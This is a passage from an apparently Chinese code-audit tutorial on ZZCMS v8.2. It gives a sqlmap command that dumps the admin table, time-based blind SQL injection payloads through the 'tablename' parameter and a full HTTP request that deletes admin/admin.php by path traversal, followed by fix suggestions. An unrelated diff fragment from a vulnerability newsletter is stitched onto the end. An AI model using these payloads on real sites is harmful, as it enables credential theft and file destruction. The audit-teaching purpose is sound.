strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
|
||||
$ip = getenv("HTTP_X_FORWARDED_FOR");
|
||||
else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"),
|
||||
"unknown"))
|
||||
$ip = getenv("REMOTE_ADDR");
|
||||
else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR']
|
||||
&& strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
|
||||
$ip = $_SERVER['REMOTE_ADDR'];
|
||||
else
|
||||
$ip = "unknown";
|
||||
return($ip);
|
||||
}
|
||||
```
|
||||
|
||||
那么我们直接用sqlmap跑一下,这里我事先注册好了test用户密码为test,这个系统将用户的密码经 md5 加密后存在数据库中,结果如下:
|
||||
```
|
||||
sqlmap -r Desktop/test.txt --batch -D zzcms -T zzcms_admin -C
|
||||
"admin,pass" --dump
|
||||
GET /user/del.php HTTP/1.1
|
||||
Host: 192.168.1.7
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML,
|
||||
like Gecko) Chrome/62.0.3202.62 Safari/537.36
|
||||
Upgrade-Insecure-Requests: 1
|
||||
Accept:
|
||||
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,ima
|
||||
ge/apng,/;q=0.8
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept-Language: zh-CN,zh;q=0.9
|
||||
Cookie: bdshare_firstime=1518262531074;
|
||||
PHPSESSID=jpeu0l4983924s20f6bk0ktkl0; UserName=test;
|
||||
PassWord=098f6bcd4621d373cade4e832627b4f6
|
||||
X-Forwarded-For: 111.111.111.111*
|
||||
Connection: close
|
||||
```
|
||||
|
||||

|
||||
|
||||
那么最后剩下的 3 处 sql 语句都无法利用,继续往下看。
|
||||
```
|
||||
\# "/user/check.php"文件
|
||||
query("UPDATE zzcms_user SET totleRMB = totleRMB+".jf_login." WHERE username='".$username."'");//登录时加积分
|
||||
query("insert into zzcms_pay (username,dowhat,RMB,mark,sendtime)
|
||||
values('".$username."','
|
||||
每 天 登 录 用 户 中 心 送 积 分
|
||||
','+".jf_login."','','".date('Y-m-d H:i:s')."')");
|
||||
|
||||
query("UPDATE zzcms_user SET lastlogintime = '".date('Y-m-d H:i:s')."'
|
||||
WHERE username='".$username."'");//更新最后登录时间
|
||||
```
|
||||
|
||||
|
||||
在代码审查过程中,我们在第130行左右发现了一个潜在的安全问题。具体来说,有一个SQL语句直接将tablename变量拼接到了查询中,而这个tablename变量可以直接通过POST方法获取。由于该变量未经任何过滤或验证,直接用于SQL语句的拼接,这可能导致SQL注入漏洞。
|
||||
```
|
||||
# "/user/del.php"文件
|
||||
if (strpos($id,",")>0)
|
||||
|
||||
$sql="select id,editor from ".$tablename." where id in (". $id .")";
|
||||
else
|
||||
$sql="select id,editor from ".$tablename." where id ='$id'";
|
||||
作者 vr_system 于 2018-02-07 发表了 ZZCMS v8.2 最新版 SQL 注入漏洞
|
||||
(http://www.freebuf.com/vuls/161888.html) 一文,文中使用的 payload 为:
|
||||
id=1&tablename=zzcms_answer where id = 1 and
|
||||
if((ascii(substr(user(),1,1)) =121),sleep(5),1)#
|
||||
```
|
||||
|
||||
|
||||
在进行安全测试时,我们注意到一个特定的payload依赖于zzcms_answer表的存在才能被利用。如果这个表是空的或者不存在,那么payload将无法执行预期的攻击。
|
||||
|
||||
为了增强payload的通用性和适应性,我们需要对其进行改进。以下是改进后的payload示例,同时考虑到POST数据经过addslashes()、htmlspecialchars()、trim()三个函数的处理,我们不能使用大于号>和小于号<。
|
||||
```
|
||||
id=1&tablename=zzcms_answer where id=999999999 union select 1,2 and if((ascii(substr(user(),1,1)) = 114),sleep(3),1)#
|
||||
```
|
||||
|
||||

|
||||
#### 任意文件删除漏洞
|
||||
|
||||
|
||||
在代码审查过程中,我们在第80多行处发现了一个安全漏洞,涉及f变量。该变量是通过将"../"与oldimg直接拼接得到的,没有对.和/字符进行过滤,这可能导致跨目录文件删除(也称为
|
||||
目录遍历攻击)。根据代码逻辑,只要确保img变量不等于oldimg,并且$action变量等于"modify",就可以触发这个漏洞。
|
||||
|
||||
"/user/adv.php"文件
|
||||
|
||||

|
||||
|
||||
|
||||
payload 如下:
|
||||
```
|
||||
POST /user/adv.php?action=modify HTTP/1.1
|
||||
Host: 192.168.1.7
|
||||
Content-Length: 149
|
||||
Cache-Control: max-age=0
|
||||
Origin: http://192.168.1.7
|
||||
Upgrade-Insecure-Requests: 1
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML,
|
||||
like Gecko) Chrome/62.0.3202.62 Safari/537.36
|
||||
Accept: text/html,application/xhtml
|
||||
xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
|
||||
Referer: http://192.168.1.7/user/adv.php
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept-Language: zh-CN,zh;q=0.9
|
||||
Cookie: bdshare_firstime=1518262531074;
|
||||
PHPSESSID=jpeu0l4983924s20f6bk0ktkl0;
|
||||
Connection: close
|
||||
adv=tettste&advlink=/zt/show.php?id=1&company=测试
|
||||
&img=test&oldimg=admin/admin.php&Submit3=%E5%8F%91%E5%B8%83
|
||||
```
|
||||
|
||||

|
||||
|
||||
|
||||
同样的漏洞发生在"/user/licence_save.php"30 多行处。
|
||||
```
|
||||
# "/user/licence_save.php"文件
|
||||
// 假设这是第30行附近的代码
|
||||
$f = "../" . $oldimg; // 直接拼接路径,未过滤.和/字符
|
||||
if ($img != $oldimg && $action == "modify") {
|
||||
// 执行删除操作
|
||||
unlink($f); // 删除文件
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
安全性改进措施
|
||||
|
||||
路径清理:通过safePath函数移除路径中的"../"和"./",防止路径遍历。
|
||||
|
||||
输入验证:验证oldimg变量的内容,确保它不包含可能导致安全问题的字符。
|
||||
|
||||
权限检查:在执行删除操作之前,检查目标文件是否在允许的目录内,确保不会删除或访问到不应该被操作的文件。
|
||||
|
||||
通过这些改进,我们可以显著降低跨目录文件删除的风险,并提高应用程序的安全性。
|
||||
|
||||
#### 结束语
|
||||
|
||||
当然,大家也可以使用其他的审计工具进行辅助,只要适合自己,有利于审计即可。虽然这是一个小 cms,但是对于代码审计的新手来说,就是要多读、多看、多想。审计小 cms 的过程,就是在积累经验的过程,更是对我们将来审计大型框架进行铺垫。然后多看看网络上代码审计的案例,最重要的,还要自己动手审计一遍,希望这些技巧能够对你学习代码审计有所帮助。
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
# 赛克安全本周漏洞推送(12.2-12.6)
|
||||
原创 马赛克安全实验室 马赛克安全实验室 2024-12-06 02:39
|
||||
thelostworld 2024-12-07 12:07
|
||||
|
||||
免责声明请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。工具来自网络,安全性自测,如有侵权请联系删除。本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责!马赛克安全实验室情报申明(可点击查看)
|
||||

|
||||
|
||||
Reference in new issue
Block a user